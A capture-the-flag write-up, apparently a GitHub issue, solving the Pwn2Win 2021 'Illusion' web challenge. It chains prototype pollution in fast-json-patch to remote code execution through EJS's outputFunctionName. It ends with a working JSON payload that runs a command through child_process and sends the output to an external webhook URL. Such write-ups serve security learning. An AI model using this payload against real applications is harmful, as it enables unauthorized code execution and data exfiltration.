Pwn2Win CTF 2021 - Illusion
aszx87410 opened this issue · comments
Illusion
Description
Laura just found a website used for monitoring security mechanisms on Rhiza's state and is planning to hack into it to forge the status of these security services. After that she will desactivate these security resources without alerting government agents. Your goal is to get into the server to change the monitoring service behavior.
Source code:
const express = require('express')
const bodyParser = require('body-parser')
const jsonpatch = require('fast-json-patch')
const ejs = require('ejs')
const basicAuth = require('express-basic-auth')
const app = express()
// Middlewares //
app.use(bodyParser.json())
app.use(basicAuth({
users: { "admin": process.env.SECRET || "admin" },
challenge: true
}))
/////////////////
let services = {
status: "online",
cameras: "online",
doors: "online",
dome: "online",
turrets: "online"
}
// Static folder
app.use("/static", express.static(__dirname + "/static"));
// Homepage
app.get("/", async (req, res) => {
const html = await ejs.renderFile(__dirname + "/templates/index.ejs", {services})
res.end(html)
})
// API
app.post("/change_status", (req, res) => {
let patch = []
Object.entries(req.body).forEach(([service, status]) => {
if (service === "status"){
res.status(400).end("Cannot change all services status")
return
}
patch.push({
"op": "replace",
"path": "/" + service,
"value": status
})
});
jsonpatch.applyPatch(services, patch)
if ("offline" in Object.values(services)){
services.status = "offline"
}
res.json(services)
})
app.listen(1337, () => {
console.log(`App listening at port 1337`)
})
Writeup
There are two lines caught my eyes immediately: jsonpatch.applyPatch(services, patch)
and ejs.renderFile(__dirname + "/templates/index.ejs", {services})
.
From my experience, jsonpatch
might have prototype pollution vulnerability. After googling a bit I found this open PR: Starcounter-Jack/JSON-Patch#262 and confirm that prototype pollution exists.
But what can we do with this? I googled: prototype pollution ejs ctf
and found this useful article: From Prototype Pollution to RCE
We can use outputFunctionName
to do RCE.
So just post this to /change_status
and that's all, solved the challenge by googling!:
{
"constructor/prototype/outputFunctionName": "a=1;const http=process.mainModule.require('https');const flag=process.mainModule.require('child_process').execSync('/readflag').toString();req=http.get(`https://webhook.site/844be20d-00d7-4696-88f9-1ffb5261b3e0?q=${flag}`);req.end();//"
}
thank!